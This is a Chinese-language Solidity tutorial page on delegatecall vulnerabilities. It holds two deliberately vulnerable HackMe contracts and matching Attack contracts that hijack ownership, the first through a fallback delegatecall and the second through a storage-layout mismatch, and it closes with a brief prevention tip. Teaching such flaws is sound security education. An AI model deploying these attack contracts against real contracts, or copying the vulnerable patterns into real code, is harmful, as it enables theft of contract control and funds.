3分钟Solidity: 11.5 Delegatecall

16 阅读3分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的Delegatecall(代码示例)

漏洞

delegatecall的使用相当复杂,错误的用法或理解可能导致灾难性后果。

在使用 delegatecall时,必须牢记以下两点:

  1. delegatecall会保留上下文(存储、调用者等)。
  2. 调用 delegatecall的合约与被调用的合约必须保持相同的存储布局。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
HackMe是一个使用delegatecall执行代码的合约。
乍看之下HackMe的所有者无法被更改,因为合约内并未提供相关功能。但攻击者可以通过滥用delegatecall劫持该合约。下面让我们看看具体原理。

1.  Alice 部署了 Lib 库
2.  Alice 部署了 HackMe,并指定了 Lib 库的地址
3.  Eve 部署了 Attack,并指定了 HackMe 的地址
4.  Eve 调用了 Attack.attack()
5.  Attack 现在成为了 HackMe 的所有者

发生了什么?
Eve调用了Attack.attack()。
Attack调用了HackMe的回退函数,并发送了pwn()的函数选择器。HackMe通过delegatecall将调用转发给Lib。
此时msg.data中包含pwn()的函数选择器。
这告诉Solidity调用Lib内部的pwn()函数。
pwn()函数将owner更新为msg.sender。
Delegatecall使用HackMe的上下文执行Lib的代码。
因此HackMe的存储被更新为msg.sender,而这里的msg.sender是HackMe的调用者,即本例中的Attack。
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

这是另一个例子。

在理解这个漏洞之前,你需要了解Solidity如何存储状态变量。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
这是之前漏洞利用的一个更复杂的版本。

1.  Alice 部署了 Lib 和 HackMe,并将 Lib 的地址提供给 HackMe
2.  Eve 部署了 Attack,并将 HackMe 的地址提供给 Attack
3.  Eve 调用 Attack.attack()
4.  现在 Attack 成为了 HackMe 的所有者

发生了什么?
注意,Lib 和 HackMe 中的状态变量定义方式不同。这意味着调用 Lib.doSomething() 会改变 HackMe 中的第一个状态变量,而这个变量恰好是 lib 的地址。
在 attack() 函数中,第一次调用 doSomething() 会改变 HackMe 中存储的 lib 地址。此时,lib 的地址被设置为 Attack。
第二次调用 doSomething() 时,实际调用的是 Attack.doSomething(),在这里我们修改了 owner。
*/

contract Lib {
    uint256 public someNumber;

    function doSomething(uint256 _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint256 public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint256 _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // 确保存储布局与HackMe一致
    // 这样我们就能正确更新状态变量
    address public lib;
    address public owner;
    uint256 public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // 覆盖库的地址
        hackMe.doSomething(uint256(uint160(address(this))));
        // 传递任意数字作为输入,下面的函数doSomething()将被调用
        hackMe.doSomething(1);
    }

    // 函数签名必须与 HackMe.doSomething() 匹配
    function doSomething(uint256 _num) public {
        owner = msg.sender;
    }
}

预防技术

  • 使用无状态库

Remix Lite 尝试一下